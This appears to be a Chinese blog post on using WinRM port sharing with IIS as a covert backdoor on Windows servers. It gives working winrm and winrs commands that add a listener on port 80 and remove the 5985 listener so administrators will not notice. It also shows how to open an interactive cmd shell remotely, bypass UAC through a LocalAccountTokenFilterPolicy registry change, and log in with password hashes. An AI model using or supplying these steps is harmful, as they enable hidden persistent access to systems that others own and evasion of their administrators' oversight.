winRM端口复用

前言

在这里我们主要说下http情况下的配置和使用。
若为https的配置和使用我们需要将下面的命令中的EnableCompatibilityHttpListener修改为EnableCompatibilityHttpsListener即可。

基本原理

WinRM服务

WinRM全称是Windows Remote Management,能够对本地或远程的服务器进行管理。可用于的操作是:

  • 通过网络中随时可用的通道/端口(包括工作站,服务器和支持该端口的任何操作系统)与主机进行远程通信和接口。
  • 在非本地但可通过网络访问的系统上远程执行命令
  • 从远程位置监视,管理和配置服务器,操作系统和客户端计算机。

winrm在windows server2008和windows vista及以后的版本是自动安装的。在windows xp和windows 2003中需要进行手动安装。

在我们这个WinRM端口复用中,其主要原理是利用了winrm的一个兼容性侦听器。在以前的版本中,winrm通信是使用端口80/443完成的。

但是对于Powershell和WS-Management用户来说,在尝试远程管理系统时,连接被阻塞和/或掉线–从而导致Microsoft将默认端口更改为上述指定的端口,即HTTP端口5985和HTTPS端口5986

HTTP.sys服务

HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可。

使用netsh http show servicestate命令可以查看所有在HTTP.sys上注册过的url前缀.
WinRM在HTTP.sys上注册了wsman的url前缀,默认的监听端口为5985.

另外系统默认了10个DACl,可以通过netsh http show urlacl看到具体内容,其中5985是http端口,5986是https。

所以,在安装了IIS的边界Windows服务器上,开启WinRM服务后修改默认listener端口为80或新增一个80端口的listener即可实现端口复用,可以直接通过Web端口登录Windows服务器。

条件

  • windows 2008默认不开启。

    • 使用winrm quickconfig -q启动winrm服务,并放行5985端口。
  • windows 2012默认开启。

配置情况

新增80端口Listener
对于原本就开放了WinRM服务的机器来讲,需要保留原本的5985端口listener,同时需要新增一个80端口的listener,这样既能保证原来的5985端口管理员可以使用,我们也能通过80端口连接WinRM。

使用下面这条命令即可新增一个80端口的listener

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
在windows server2012中,直接使用这一条命令就可以实现端口复用。

image
image

但是现在我们的5985端口还是开放的,如果被管理员看到的话,可能会起疑心!
image

所以在这里我们需要将他进行隐藏。
通过下面这条命令即可将端口改为80.
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
image
这个时候我们再去查找5985端口时,发现已经没有了。
image
经过相应的配置后,winrm已经在80端口上监听一个listener,与此同时,IIS的web服务也能完全正常运行。
image

后门连接与使用

本地配置

本地需要连接WinRM服务时,首先也需要配置启动WinRM服务,然后需要设置信任连接的主机,执行以下两条命令即可。

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

连接使用(默认端口是5985,需要加上去):
winrs -r:http://[]ip]:[port] -u:[username] -p:[password] [command]
image
将whoami换为cmd可以得到一个交互式的shell.
image

这里我们使用管理员权限进行演示的,如果使用其他权限用户进行,可能会遇到错误,因为winrm服务式受uac影响的,如果要使用其他用户,我们需要修改注册表中的键值。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
修改过后即可。

另外如果没有明文密码我们也可以使用hash进行登陆,修改-p-H即可。

参考文章:
https://www.pcwdld.com/what-is-winrm
https://paper.seebug.org/1004/#0x03

最后修改:2020 年 06 月 22 日 02 : 15 PM
如果觉得我的文章对你有用,请随意赞赏